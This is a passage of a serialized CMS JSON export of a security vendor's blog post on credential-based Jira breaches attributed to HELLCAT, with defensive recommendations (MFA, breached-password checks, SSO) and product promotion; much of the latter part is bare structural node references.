projects, invoices, confidential documents, and issues from the ticketing system from global telecommunications provider Ascom.",{"data":136821,"content":136822,"nodeType":1570},{},[136823],{"data":136824,"content":136825,"nodeType":866},{},[136826,136831],{"data":136827,"marks":136828,"value":136830,"nodeType":865},{},[136829],{"type":926},"Jaguar Land Rover (March 2025):",{"data":136832,"marks":136833,"value":136834,"nodeType":865},{},[]," Attackers leaked ~700 internal documents totalling several GBs of data, including proprietary documents, source code, and employee and partner data, from vehicle manufacturer Jaguar Land Rover. The breach was linked to credentials stolen by infostealers in 2021. A second threat actor is now alleged to have re-compromized Jaguar using the same credentials and achieved a much bigger breach of ~350GB. ",{"data":136836,"content":136837,"nodeType":1570},{},[136838],{"data":136839,"content":136840,"nodeType":866},{},[136841,136846],{"data":136842,"marks":136843,"value":136845,"nodeType":865},{},[136844],{"type":926},"Orange (February 2025):",{"data":136847,"marks":136848,"value":136849,"nodeType":865},{},[]," Attackers stole almost 12,000 files totaling close to 6.5GB, which includes 380k unique email addresses, source code, invoices, contracts, customer and employee information, from telecommunications provider Orange. The attacker allegedly had access to the systems for over a month before exfiltrating company data.",{"data":136851,"content":136852,"nodeType":1570},{},[136853],{"data":136854,"content":136855,"nodeType":866},{},[136856,136861],{"data":136857,"marks":136858,"value":136860,"nodeType":865},{},[136859],{"type":926},"Telefonica (January 2025): ",{"data":136862,"marks":136863,"value":136864,"nodeType":865},{},[],"Attackers stole 2.3GB of documents, tickets, and various data from telecommunications provider Telefonica. ",{"data":136866,"content":136867,"nodeType":1570},{},[136868],{"data":136869,"content":136870,"nodeType":866},{},[136871,136876],{"data":136872,"marks":136873,"value":136875,"nodeType":865},{},[136874],{"type":926},"Schneider Electric (November 2024): ",{"data":136877,"marks":136878,"value":136879,"nodeType":865},{},[],"Attackers stole 40GB of data including 75k unique email addresses, from manufacturing provider Schneider Electric, demanding a ransom payment of $125k. ",{"data":136881,"content":136885,"nodeType":912},{"target":136882},{"sys":136883},{"id":136884,"type":909,"linkType":910},"1Hm5x8QlQnJsUPgFyCkeFO",[],{"data":136887,"content":136888,"nodeType":866},{},[136889],{"data":136890,"marks":136891,"value":136892,"nodeType":865},{},[],"So, hundreds of gigabytes of data and thousands of breached records — all from logging in with a single set of stolen credentials for each victim. There are clear signs that these attacks are ramping up in frequency and impact too, with three of the breaches occurring in March alone. ",{"data":136894,"content":136895,"nodeType":866},{},[136896],{"data":136897,"marks":136898,"value":136899,"nodeType":865},{},[],"These attacks all follow the same pattern, revolving around initial access to Jira accounts using compromised credentials. Once inside, the attacker has been reported to use integrated Atlassian tools like MiniOrange to scrape customer and employee data. After dumping the data, they attempt to extort a ransom payment for the deletion of the data, and when that fails, sell it on criminal marketplaces such as dark web forums and Telegram channels. HELLCAT is also responsible for a Ransomware-as-a-Service (RaaS) offering using a custom ransomware strain. ",{"data":136901,"content":136902,"nodeType":972},{},[],{"data":136904,"content":136905,"nodeType":981},{},[136906],{"data":136907,"marks":136908,"value":136910,"nodeType":865},{},[136909],{"type":926},"Why are attackers targeting Jira?",{"data":136912,"content":136913,"nodeType":1317},{},[136914],{"data":136915,"marks":136916,"value":136918,"nodeType":865},{},[136917],{"type":926},"It’s a goldmine for attackers",{"data":136920,"content":136921,"nodeType":866},{},[136922],{"data":136923,"marks":136924,"value":136925,"nodeType":865},{},[],"Apps like Jira are a goldmine for cyber attackers. For organizations using it, Jira is a central technology that underpins core business workflows. It’s used for pretty much all aspects of project management across functions, meaning it:",{"data":136927,"content":136928,"nodeType":1616},{},[136929,136939,136949,136959,136969],{"data":136930,"content":136931,"nodeType":1570},{},[136932],{"data":136933,"content":136934,"nodeType":866},{},[136935],{"data":136936,"marks":136937,"value":136938,"nodeType":865},{},[],"Stores huge amounts of sensitive data, from strategic business initiatives to sensitive customer data. ",{"data":136940,"content":136941,"nodeType":1570},{},[136942],{"data":136943,"content":136944,"nodeType":866},{},[136945],{"data":136946,"marks":136947,"value":136948,"nodeType":865},{},[],"Contains detailed information on IT infrastructure and architecture. It often acts as an issue tracker for vulnerabilities, and frequently contains credentials and secrets accidentally pasted into tickets, enabling lateral movement and further exploitation. ",{"data":136950,"content":136951,"nodeType":1570},{},[136952],{"data":136953,"content":136954,"nodeType":866},{},[136955],{"data":136956,"marks":136957,"value":136958,"nodeType":865},{},[],"Has deep integrations with other Cloud and DevOps technologies like GitHub repos (also a frequent target for attackers), Bitbucket, Jenkins, CircleCI, AWS, Azure, etc. ",{"data":136960,"content":136961,"nodeType":1570},{},[136962],{"data":136963,"content":136964,"nodeType":866},{},[136965],{"data":136966,"marks":136967,"value":136968,"nodeType":865},{},[],"Can be exploited using native functionality by, for example, creating automated workflows containing malicious scripts or deployments, or inserting malicious links into tickets to phish users in-app. ",{"data":136970,"content":136971,"nodeType":1570},{},[136972],{"data":136973,"content":136974,"nodeType":866},{},[136975],{"data":136976,"marks":136977,"value":136978,"nodeType":865},{},[],"Also provides access to the broader Atlassian suite through a compromised Jira account, e.g. Confluence, Bitbucket, Trello, Opsgenie, etc. ",{"data":136980,"content":136981,"nodeType":1317},{},[136982],{"data":136983,"marks":136984,"value":136986,"nodeType":865},{},[136985],{"type":926},"Compromised credentials are waiting to be exploited",{"data":136988,"content":136989,"nodeType":866},{},[136990,136993,137000],{"data":136991,"marks":136992,"value":21,"nodeType":865},{},[],{"data":136994,"content":136995,"nodeType":889},{"uri":1063},[136996],{"data":136997,"marks":136998,"value":136999,"nodeType":865},{},[],"Stolen credentials were the #1 attacker action in 2023/24",{"data":137001,"marks":137002,"value":137003,"nodeType":865},{},[],", and the breach vector for 80% of web app attacks. Not surprising when you consider the fact that billions of leaked credentials are in circulation online, and attackers can pick up the latest drop for as little as $10 on criminal forums. ",{"data":137005,"content":137006,"nodeType":866},{},[137007,137011,137018,137022,137028],{"data":137008,"marks":137009,"value":137010,"nodeType":865},{},[],"The criminal marketplace for stolen credentials is booming, fuelled by an unprecedented rise in infostealer activity as attackers look to replicate the success of ",{"data":137012,"content":137013,"nodeType":889},{"uri":110220},[137014],{"data":137015,"marks":137016,"value":137017,"nodeType":865},{},[],"high profile breaches in 2024",{"data":137019,"marks":137020,"value":137021,"nodeType":865},{},[]," such as the attacks on ",{"data":137023,"content":137024,"nodeType":889},{"uri":3488},[137025],{"data":137026,"marks":137027,"value":13698,"nodeType":865},{},[],{"data":137029,"marks":137030,"value":137031,"nodeType":865},{},[]," customers — where 165 customer tenants and hundreds of millions of breached records were compromised using credentials dating found in infostealer credential dumps dating as far back as 2020.",{"data":137033,"content":137034,"nodeType":866},{},[137035],{"data":137036,"marks":137037,"value":137038,"nodeType":865},{},[],"Like Snowflake, attackers have clearly noticed that compromised credentials are a reliable way to access Jira accounts. And the more these attacks succeed, the stronger the signal for other attackers to look for insecure identities. ",{"data":137040,"content":137041,"nodeType":1317},{},[137042],{"data":137043,"marks":137044,"value":137046,"nodeType":865},{},[137045],{"type":926},"But wait: This isn’t just a Jira problem",{"data":137048,"content":137049,"nodeType":866},{},[137050],{"data":137051,"marks":137052,"value":137053,"nodeType":865},{},[],"If an organization isn’t relying on Jira, they’re probably using a product with similar functionality such as ServiceNow, Asana, Zendesk, Notion, Oracle, etc. These alternatives are an equally viable target for attackers. ",{"data":137055,"content":137059,"nodeType":912},{"target":137056},{"sys":137057},{"id":137058,"type":909,"linkType":910},"4hgYhQiAykupZ6n7Js2zJA",[],{"data":137061,"content":137062,"nodeType":866},{},[137063,137067,137075],{"data":137064,"marks":137065,"value":137066,"nodeType":865},{},[],"Jira and many apps like it, fall into a category where it’s a core business app, but isn’t as well-secured (or can’t be configured as securely) as full enterprise cloud platforms — increasing the likelihood that accounts are using weak, breached, or reused credentials, and have gaps in MFA coverage. Again, there are clear similarities with the attacks on Snowflake customers last year. And more recently, breaches like ",{"data":137068,"content":137070,"nodeType":889},{"uri":137069},"https://www.bleepingcomputer.com/news/security/oracle-denies-data-breach-after-hacker-claims-theft-of-6-million-data-records/",[137071],{"data":137072,"marks":137073,"value":137074,"nodeType":865},{},[],"the theft of 6 million Oracle records",{"data":137076,"marks":137077,"value":137078,"nodeType":865},{},[]," (including  passwords) provide plenty of fuel for attackers looking to take advantage of unsecured accounts. ",{"data":137080,"content":137081,"nodeType":866},{},[137082,137086,137091],{"data":137083,"marks":137084,"value":137085,"nodeType":865},{},[],"Using Push data, we compared the posture of accounts that ",{"data":137087,"marks":137088,"value":137090,"nodeType":865},{},[137089],{"type":926},"use a password to log in",{"data":137092,"marks":137093,"value":137094,"nodeType":865},{},[]," when organizations first begin using our platform.",{"data":137096,"content":137100,"nodeType":912},{"target":137097},{"sys":137098},{"id":137099,"type":909,"linkType":910},"4xOUAqait2RG4IH00vh2RM",[],{"data":137102,"content":137103,"nodeType":866},{},[137104],{"data":137105,"marks":137106,"value":137107,"nodeType":865},{},[],"Clearly, this isn’t just a Jira problem — and it won’t be long before attackers take advantage. ",{"data":137109,"content":137110,"nodeType":866},{},[137111,137114,137122,137126,137131],{"data":137112,"marks":137113,"value":21,"nodeType":865},{},[],{"data":137115,"content":137116,"nodeType":889},{"uri":6698},[137117],{"data":137118,"marks":137119,"value":137121,"nodeType":865},{},[137120],{"type":943},"These stats are in the ballpark of our average findings from across all apps",{"data":137123,"marks":137124,"value":137125,"nodeType":865},{},[]," — with 2 in 5 identities using a password to log in AND missing MFA, rising to 4 in 5 when a password is the sole login method. Considering the fact that organizations are using hundreds of apps (220+ on average), ",{"data":137127,"marks":137128,"value":137130,"nodeType":865},{},[137129],{"type":926},"there are many, many more apps that can be targeted in a similar way to Jira",{"data":137132,"marks":137133,"value":14251,"nodeType":865},{},[],{"data":137135,"content":137136,"nodeType":981},{},[137137],{"data":137138,"marks":137139,"value":137140,"nodeType":865},{},[],"Preventing account takeover with stolen credentials",{"data":137142,"content":137143,"nodeType":866},{},[137144],{"data":137145,"marks":137146,"value":137147,"nodeType":865},{},[],"To ensure that your workforce identities can’t be compromised using stolen credentials, you need to:",{"data":137149,"content":137150,"nodeType":1616},{},[137151,137161,137171],{"data":137152,"content":137153,"nodeType":1570},{},[137154],{"data":137155,"content":137156,"nodeType":866},{},[137157],{"data":137158,"marks":137159,"value":137160,"nodeType":865},{},[],"Ensure MFA is configured for all user accounts. ",{"data":137162,"content":137163,"nodeType":1570},{},[137164],{"data":137165,"content":137166,"nodeType":866},{},[137167],{"data":137168,"marks":137169,"value":137170,"nodeType":865},{},[],"Ensure employees are not using weak, breached, or stolen passwords. ",{"data":137172,"content":137173,"nodeType":1570},{},[137174],{"data":137175,"content":137176,"nodeType":866},{},[137177],{"data":137178,"marks":137179,"value":137180,"nodeType":865},{},[],"Where possible, ensure users are using SSO to log in via your preferred identity provider (IdP).",{"data":137182,"content":137183,"nodeType":866},{},[137184],{"data":137185,"marks":137186,"value":137187,"nodeType":865},{},[],"This is a tricky problem to solve in Jira itself. Jira doesn’t provide the capabilities to enforce these controls — to get access to some of the required functionality, like being able to require MFA for all users within your tenant, enforce SSO logins, or see if a user has MFA enabled, you need Atlassian Access — a separate tier of identity management product for Atlassian. Even then, you can’t do things like centrally administer password resets. ",{"data":137189,"content":137190,"nodeType":866},{},[137191],{"data":137192,"marks":137193,"value":137194,"nodeType":865},{},[],"And as we’ve pointed out — this isn’t just a Jira problem. Very few apps provide this level of identity visibility and control (even at the premium tier) — so what about when the next app hits the headlines? ",{"data":137196,"content":137197,"nodeType":866},{},[137198,137202,137210],{"data":137199,"marks":137200,"value":137201,"nodeType":865},{},[],"You could ingest a compromised credential TI feed to get some visibility of what’s out there, but then you’re relying on asking every user with a breached password to change it (not really reliable or enforceable!). When we ",{"data":137203,"content":137204,"nodeType":889},{"uri":13526},[137205],{"data":137206,"marks":137207,"value":137209,"nodeType":865},{},[137208],{"type":943},"recently reviewed a range of TI feeds against our identity data set",{"data":137211,"marks":137212,"value":137213,"nodeType":865},{},[],", we found that less than 1% of the data was valid — like looking for a needle in a haystack. ",{"data":137215,"content":137216,"nodeType":972},{},[],{"data":137218,"content":137219,"nodeType":981},{},[137220],{"data":137221,"marks":137222,"value":137224,"nodeType":865},{},[137223],{"type":926},"Prevent account takeover with Push",{"data":137226,"content":137227,"nodeType":866},{},[137228],{"data":137229,"marks":137230,"value":137231,"nodeType":865},{},[],"Thankfully, there’s a better way. Push provides layered controls to harden your workforce identities against credential attacks, as well as other methods of account takeover like MFA-bypass phishing and session hijacking. Our lightweight, browser-based solution can be deployed in minutes across your entire user base. ",{"data":137233,"content":137234,"nodeType":866},{},[137235],{"data":137236,"marks":137237,"value":137238,"nodeType":865},{},[],"So when a core business app like Jira comes under fire, you can quickly take action to prevent account takeover.  ",{"data":137240,"content":137241,"nodeType":866},{},[137242],{"data":137243,"marks":137244,"value":137245,"nodeType":865},{},[],"Here’s how Push users can protect themselves against the threat of stolen credentials:",{"data":137247,"content":137248,"nodeType":1317},{},[137249],{"data":137250,"marks":137251,"value":137253,"nodeType":865},{},[137252],{"type":926},"Step 1: Deploy MFA across all accounts",{"data":137255,"content":137256,"nodeType":866},{},[137257,137261,137269],{"data":137258,"marks":137259,"value":137260,"nodeType":865},{},[],"Whenever an application comes under heavy scrutiny from attackers, it’s a good idea to deploy MFA across all accounts as a first response action. ",{"data":137262,"content":137263,"nodeType":889},{"uri":132524},[137264],{"data":137265,"marks":137266,"value":137268,"nodeType":865},{},[137267],{"type":943},"Push enables you to quickly find and close MFA gaps",{"data":137270,"marks":137271,"value":137272,"nodeType":865},{},[]," by prompting the user to configure MFA when they log in to the app. ",{"data":137274,"content":137278,"nodeType":912},{"target":137275},{"sys":137276},{"id":137277,"type":909,"linkType":910},"4OVJU6FRSVU9j1WB9NGyJ4",[],{"data":137280,"content":137281,"nodeType":1317},{},[137282],{"data":137283,"marks":137284,"value":137286,"nodeType":865},{},[137285],{"type":926},"Step 2: Detect when accounts are using stolen credentials and trigger a password change",{"data":137288,"content":137289,"nodeType":866},{},[137290,137294,137302],{"data":137291,"marks":137292,"value":137293,"nodeType":865},{},[],"Push integrates with commercial TI feeds to see ",{"data":137295,"content":137296,"nodeType":889},{"uri":13526},[137297],{"data":137298,"marks":137299,"value":137301,"nodeType":865},{},[137300],{"type":943},"when your employees are actually using a breached password to log in to one of their accounts",{"data":137303,"marks":137304,"value":137305,"nodeType":865},{},[],", eliminating manual triage. You can also bring your own TI feed to maximize its value. ",{"data":137307,"content":137308,"nodeType":866},{},[137309,137313,137321],{"data":137310,"marks":137311,"value":137312,"nodeType":865},{},[],"When a stolen credential (or any other password vulnerability) is found, the next time they log into the app they will be prompted to change it via the ",{"data":137314,"content":137316,"nodeType":889},{"uri":137315},"https://pushsecurity.com/blog/introducing-strong-password-enforcement/",[137317],{"data":137318,"marks":137319,"value":137320,"nodeType":865},{},[],"strong password enforcement feature",{"data":137322,"marks":137323,"value":14251,"nodeType":865},{},[],{"data":137325,"content":137328,"nodeType":912},{"target":137326},{"sys":137327},{"id":136567,"type":909,"linkType":910},[],{"data":137330,"content":137331,"nodeType":1317},{},[137332],{"data":137333,"marks":137334,"value":137336,"nodeType":865},{},[137335],{"type":926},"Step 3: Ensure employees are using SSO (and remediate ghost logins)",{"data":137338,"content":137339,"nodeType":866},{},[137340],{"data":137341,"marks":137342,"value":137343,"nodeType":865},{},[],"Once you’ve secured your accounts against the risk of immediate account takeover, you can harden them further by ensuring that accounts are using your preferred SSO method and IdP. ",{"data":137345,"content":137346,"nodeType":866},{},[137347,137351,137358],{"data":137348,"marks":137349,"value":137350,"nodeType":865},{},[],"[Insight box: It’s not enough to have users adopt SSO, however. Local username and password accounts can continue to exist and be used alongside SSO unless specifically configured (and configurable) within the app. These local accounts are a form of ",{"data":137352,"content":137353,"nodeType":889},{"uri":6710},[137354],{"data":137355,"marks":137356,"value":62154,"nodeType":865},{},[137357],{"type":943},{"data":137359,"marks":137360,"value":137361,"nodeType":865},{},[],", providing backdoor access to your business apps without needing to breach your locked-down IdP accounts used for SSO. This is why it’s important to have MFA set at the application level if local accounts are used — you can’t just rely on your IdP being securely configured.] ",{"data":137363,"content":137364,"nodeType":866},{},[137365],{"data":137366,"marks":137367,"value":137368,"nodeType":865},{},[],"Once you’ve migrated to SSO, it’s best practice to have your employees remove these local accounts so they don’t lie dormant for attackers to take advantage of in the future. You can set an app banner for all users accessing the app, instructing them to log in using SSO, and to disable their local password once they’ve done so.",{"data":137370,"content":137374,"nodeType":912},{"target":137371},{"sys":137372},{"id":137373,"type":909,"linkType":910},"606mt5mVoJGaMmk82mLIFH",[],{"data":137376,"content":137377,"nodeType":972},{},[],{"data":137379,"content":137380,"nodeType":981},{},[137381],{"data":137382,"marks":137383,"value":137385,"nodeType":865},{},[137384],{"type":926},"Protect and defend your entire identity attack surface",{"data":137387,"content":137388,"nodeType":866},{},[137389],{"data":137390,"marks":137391,"value":137392,"nodeType":865},{},[],"Push provides comprehensive identity attack detection and response capabilities across every app and workforce identity.    ",{"data":137394,"content":137395,"nodeType":866},{},[137396],{"data":137397,"marks":137398,"value":137399,"nodeType":865},{},[],"We stop attacks like MFA-bypass phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":137401,"content":137402,"nodeType":866},{},[137403,137406,137412],{"data":137404,"marks":137405,"value":104093,"nodeType":865},{},[],{"data":137407,"content":137408,"nodeType":889},{"uri":134677},[137409],{"data":137410,"marks":137411,"value":105607,"nodeType":865},{},[],{"data":137413,"marks":137414,"value":135316,"nodeType":865},{},[],"Attackers are persistently targeting Jira accounts with stolen credentials. What can we learn from this trend?",{"items":137417},[137418,137420],{"sys":137419,"name":7796},{"id":7795},{"sys":137421,"name":342},{"id":4642},{"items":137423},[137424],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":137425},{"url":7804},{"__typename":1429,"sys":137427,"content":137428,"title":62409,"synopsis":62410,"hashTags":59,"publishedDate":62411,"slug":62412,"tagsCollection":138118,"authorsCollection":138122},{"id":61617},{"json":137429},{"data":137430,"content":137431,"nodeType":1382},{},[137432,137437,137453,137459,137465,137470,137473,137480,137486,137502,137512,137518,137524,137530,137614,137617,137624,137699,137704,137707,137714,137721,137727,137733,137740,137756,137762,137769,137775,137781,137788,137794,137800,137816,137821,137824,137831,137838,137844,137933,137939,137946,137952,137958,137963,137970,137976,137982,137988,137995,138001,138007,138013,138019,138024,138027,138034,138040,138070,138076,138091,138107,138112],{"data":137433,"content":137436,"nodeType":912},{"target":137434},{"sys":137435},{"id":61626,"type":909,"linkType":910},[],{"data":137438,"content":137439,"nodeType":866},{},[137440,137443,137450],{"data":137441,"marks":137442,"value":61634,"nodeType":865},{},[],{"data":137444,"content":137445,"nodeType":889},{"uri":61637},[137446],{"data":137447,"marks":137448,"value":61643,"nodeType":865},{},[137449],{"type":943},{"data":137451,"marks":137452,"value":61647,"nodeType":865},{},[],{"data":137454,"content":137455,"nodeType":866},{},[137456],{"data":137457,"marks":137458,"value":61654,"nodeType":865},{},[],{"data":137460,"content":137461,"nodeType":866},{},[137462],{"data":137463,"marks":137464,"value":61661,"nodeType":865},{},[],{"data":137466,"content":137469,"nodeType":912},{"target":137467},{"sys":137468},{"id":61666,"type":909,"linkType":910},[],{"data":137471,"content":137472,"nodeType":972},{},[],{"data":137474,"content":137475,"nodeType":981},{},[137476],{"data":137477,"marks":137478,"value":61678,"nodeType":865},{},[137479],{"type":926},{"data":137481,"content":137482,"nodeType":866},{},[137483],{"data":137484,"marks":137485,"value":61685,"nodeType":865},{},[],{"data":137487,"content":137488,"nodeType":866},{},[137489,137492,137499],{"data":137490,"marks":137491,"value":61692,"nodeType":865},{},[],{"data":137493,"content":137494,"nodeType":889},{"uri":15841},[137495],{"data":137496,"marks":137497,"value":61700,"nodeType":865},{},[137498],{"type":943},{"data":137500,"marks":137501,"value":14251,"nodeType":865},{},[],{"data":137503,"content":137504,"nodeType":7584},{},[137505],{"data":137506,"content":137507,"nodeType":866},{},[137508],{"data":137509,"marks":137510,"value":61714,"nodeType":865},{},[137511],{"type":926},{"data":137513,"content":137514,"nodeType":866},{},[137515],{"data":137516,"marks":137517,"value":61721,"nodeType":865},{},[],{"data":137519,"content":137520,"nodeType":866},{},[137521],{"data":137522,"marks":137523,"value":61728,"nodeType":865},{},[],{"data":137525,"content":137526,"nodeType":866},{},[137527],{"data":137528,"marks":137529,"value":61735,"nodeType":865},{},[],{"data":137531,"content":137532,"nodeType":1616},{},[137533,137542,137551,137560,137569,137578,137587,137596,137605],{"data":137534,"content":137535,"nodeType":1570},{},[137536],{"data":137537,"content":137538,"nodeType":866},{},[137539],{"data":137540,"marks":137541,"value":61748,"nodeType":865},{},[],{"data":137543,"content":137544,"nodeType":1570},{},[137545],{"data":137546,"content":137547,"nodeType":866},{},[137548],{"data":137549,"marks":137550,"value":61758,"nodeType":865},{},[],{"data":137552,"content":137553,"nodeType":1570},{},[137554],{"data":137555,"content":137556,"nodeType":866},{},[137557],{"data":137558,"marks":137559,"value":61768,"nodeType":865},{},[],{"data":137561,"content":137562,"nodeType":1570},{},[137563],{"data":137564,"content":137565,"nodeType":866},{},[137566],{"data":137567,"marks":137568,"value":61778,"nodeType":865},{},[],{"data":137570,"content":137571,"nodeType":1570},{},[137572],{"data":137573,"content":137574,"nodeType":866},{},[137575],{"data":137576,"marks":137577,"value":61788,"nodeType":865},{},[],{"data":137579,"content":137580,"nodeType":1570},{},[137581],{"data":137582,"content":137583,"nodeType":866},{},[137584],{"data":137585,"marks":137586,"value":61798,"nodeType":865},{},[],{"data":137588,"content":137589,"nodeType":1570},{},[137590],{"data":137591,"content":137592,"nodeType":866},{},[137593],{"data":137594,"marks":137595,"value":61808,"nodeType":865},{},[],{"data":137597,"content":137598,"nodeType":1570},{},[137599],{"data":137600,"content":137601,"nodeType":866},{},[137602],{"data":137603,"marks":137604,"value":61818,"nodeType":865},{},[],{"data":137606,"content":137607,"nodeType":1570},{},[137608],{"data":137609,"content":137610,"nodeType":866},{},[137611],{"data":137612,"marks":137613,"value":61828,"nodeType":865},{},[],{"data":137615,"content":137616,"nodeType":972},{},[],{"data":137618,"content":137619,"nodeType":981},{},[137620],{"data":137621,"marks":137622,"value":61839,"nodeType":865},{},[137623],{"type":926},{"data":137625,"content":137626,"nodeType":1616},{},[137627,137636,137645,137654,137663,137672,137681,137690],{"data":137628,"content":137629,"nodeType":1570},{},[137630],{"data":137631,"content":137632,"nodeType":866},{},[137633],{"data":137634,"marks":137635,"value":61852,"nodeType":865},{},[],{"data":137637,"content":137638,"nodeType":1570},{},[137639],{"data":137640,"content":137641,"nodeType":866},{},[137642],{"data":137643,"marks":137644,"value":61862,"nodeType":865},{},[],{"data":137646,"content":137647,"nodeType":1570},{},[137648],{"data":137649,"content":137650,"nodeType":866},{},[137651],{"data":137652,"marks":137653,"value":61872,"nodeType":865},{},[],{"data":137655,"content":137656,"nodeType":1570},{},[137657],{"data":137658,"content":137659,"nodeType":866},{},[137660],{"data":137661,"marks":137662,"value":61882,"nodeType":865},{},[],{"data":137664,"content":137665,"nodeType":1570},{},[137666],{"data":137667,"content":137668,"nodeType":866},{},[137669],{"data":137670,"marks":137671,"value":61892,"nodeType":865},{},[],{"data":137673,"content":137674,"nodeType":1570},{},[137675],{"data":137676,"content":137677,"nodeType":866},{},[137678],{"data":137679,"marks":137680,"value":61902,"nodeType":865},{},[],{"data":137682,"content":137683,"nodeType":1570},{},[137684],{"data":137685,"content":137686,"nodeType":866},{},[137687],{"data":137688,"marks":137689,"value":61912,"nodeType":865},{},[],{"data":137691,"content":137692,"nodeType":1570},{},[137693],{"data":137694,"content":137695,"nodeType":866},{},[137696],{"data":137697,"marks":137698,"value":61922,"nodeType":865},{},[],{"data":137700,"content":137703,"nodeType":912},{"target":137701},{"sys":137702},{"id":61927,"type":909,"linkType":910},[],{"data":137705,"content":137706,"nodeType":972},{},[],{"data":137708,"content":137709,"nodeType":981},{},[137710],{"data":137711,"marks":137712,"value":61939,"nodeType":865},{},[137713],{"type":926},{"data":137715,"content":137716,"nodeType":1317},{},[137717],{"data":137718,"marks":137719,"value":61947,"nodeType":865},{},[137720],{"type":926},{"data":137722,"content":137723,"nodeType":866},{},[137724],{"data":137725,"marks":137726,"value":61954,"nodeType":865},{},[],{"data":137728,"content":137729,"nodeType":866},{},[137730],{"data":137731,"marks":137732,"value":61961,"nodeType":865},{},[],{"data":137734,"content":137735,"nodeType":1317},{},[137736],{"data":137737,"marks":137738,"value":61969,"nodeType":865},{},[137739],{"type":926},{"data":137741,"content":137742,"nodeType":866},{},[137743,137746,137753],{"data":137744,"marks":137745,"value":61976,"nodeType":865},{},[],{"data":137747,"content":137748,"nodeType":889},{"uri":6710},[137749],{"data":137750,"marks":137751,"value":6715,"nodeType":865},{},[137752],{"type":943},{"data":137754,"marks":137755,"value":14251,"nodeType":865},{},[],{"data":137757,"content":137758,"nodeType":866},{},[137759],{"data":137760,"marks":137761,"value":61993,"nodeType":865},{},[],{"data":137763,"content":137764,"nodeType":1317},{},[137765],{"data":137766,"marks":137767,"value":62001,"nodeType":865},{},[137768],{"type":926},{"data":137770,"content":137771,"nodeType":866},{},[137772],{"data":137773,"marks":137774,"value":62008,"nodeType":865},{},[],{"data":137776,"content":137777,"nodeType":866},{},[137778],{"data":137779,"marks":137780,"value":62015,"nodeType":865},{},[],{"data":137782,"content":137783,"nodeType":1317},{},[137784],{"data":137785,"marks":137786,"value":62023,"nodeType":865},{},[137787],{"type":926},{"data":137789,"content":137790,"nodeType":866},{},[137791],{"data":137792,"marks":137793,"value":62030,"nodeType":865},{},[],{"data":137795,"content":137796,"nodeType":866},{},[137797],{"data":137798,"marks":137799,"value":62037,"nodeType":865},{},[],{"data":137801,"content":137802,"nodeType":866},{},[137803,137806,137813],{"data":137804,"marks":137805,"value":62044,"nodeType":865},{},[],{"data":137807,"content":137808,"nodeType":889},{"uri":62047},[137809],{"data":137810,"marks":137811,"value":62053,"nodeType":865},{},[137812],{"type":943},{"data":137814,"marks":137815,"value":62057,"nodeType":865},{},[],{"data":137817,"content":137820,"nodeType":912},{"target":137818},{"sys":137819},{"id":62062,"type":909,"linkType":910},[],{"data":137822,"content":137823,"nodeType":972},{},[],{"data":137825,"content":137826,"nodeType":981},{},[137827],{"data":137828,"marks":137829,"value":62074,"nodeType":865},{},[137830],{"type":926},{"data":137832,"content":137833,"nodeType":1317},{},[137834],{"data":137835,"marks":137836,"value":62082,"nodeType":865},{},[137837],{"type":926},{"data":137839,"content":137840,"nodeType":866},{},[137841],{"data":137842,"marks":137843,"value":62089,"nodeType":865},{},[],{"data":137845,"content":137846,"nodeType":1616},{},[137847,137866,137885,137914],{"data":137848,"content":137849,"nodeType":1570},{},[137850],{"data":137851,"content":137852,"nodeType":866},{},[137853,137856,137863],{"data":137854,"marks":137855,"value":62102,"nodeType":865},{},[],{"data":137857,"content":137858,"nodeType":889},{"uri":62105},[137859],{"data":137860,"marks":137861,"value":62111,"nodeType":865},{},[137862],{"type":943},{"data":137864,"marks":137865,"value":62115,"nodeType":865},{},[],{"data":137867,"content":137868,"nodeType":1570},{},[137869],{"data":137870,"content":137871,"nodeType":866},{},[137872,137875,137882],{"data":137873,"marks":137874,"value":62125,"nodeType":865},{},[],{"data":137876,"content":137877,"nodeType":889},{"uri":6698},[137878],{"data":137879,"marks":137880,"value":62133,"nodeType":865},{},[137881],{"type":943},{"data":137883,"marks":137884,"value":1615,"nodeType":865},{},[],{"data":137886,"content":137887,"nodeType":1570},{},[137888],{"data":137889,"content":137890,"nodeType":866},{},[137891,137894,137901,137904,137911],{"data":137892,"marks":137893,"value":62146,"nodeType":865},{},[],{"data":137895,"content":137896,"nodeType":889},{"uri":6710},[137897],{"data":137898,"marks":137899,"value":62154,"nodeType":865},{},[137900],{"type":943},{"data":137902,"marks":137903,"value":62158,"nodeType":865},{},[],{"data":137905,"content":137906,"nodeType":889},{"uri":62161},[137907],{"data":137908,"marks":137909,"value":62167,"nodeType":865},{},[137910],{"type":943},{"data":137912,"marks":137913,"value":62171,"nodeType":865},{},[],{"data":137915,"content":137916,"nodeType":1570},{},[137917],{"data":137918,"content":137919,"nodeType":866},{},[137920,137923,137930],{"data":137921,"marks":137922,"value":62181,"nodeType":865},{},[],{"data":137924,"content":137925,"nodeType":889},{"uri":6698},[137926],{"data":137927,"marks":137928,"value":62189,"nodeType":865},{},[137929],{"type":943},{"data":137931,"marks":137932,"value":62193,"nodeType":865},{},[],{"data":137934,"content":137935,"nodeType":866},{},[137936],{"data":137937,"marks":137938,"value":62200,"nodeType":865},{},[],{"data":137940,"content":137941,"nodeType":1317},{},[137942],{"data":137943,"marks":137944,"value":62208,"nodeType":865},{},[137945],{"type":926},{"data":137947,"content":137948,"nodeType":866},{},[137949],{"data":137950,"marks":137951,"value":62215,"nodeType":865},{},[],{"data":137953,"content":137954,"nodeType":866},{},[137955],{"data":137956,"marks":137957,"value":62222,"nodeType":865},{},[],{"data":137959,"content":137962,"nodeType":912},{"target":137960},{"sys":137961},{"id":62227,"type":909,"linkType":910},[],{"data":137964,"content":137965,"nodeType":1317},{},[137966],{"data":137967,"marks":137968,"value":62236,"nodeType":865},{},[137969],{"type":926},{"data":137971,"content":137972,"nodeType":866},{},[137973],{"data":137974,"marks":137975,"value":62243,"nodeType":865},{},[],{"data":137977,"content":137978,"nodeType":866},{},[137979],{"data":137980,"marks":137981,"value":62250,"nodeType":865},{},[],{"data":137983,"content":137984,"nodeType":866},{},[137985],{"data":137986,"marks":137987,"value":62257,"nodeType":865},{},[],{"data":137989,"content":137990,"nodeType":1317},{},[137991],{"data":137992,"marks":137993,"value":62265,"nodeType":865},{},[137994],{"type":926},{"data":137996,"content":137997,"nodeType":86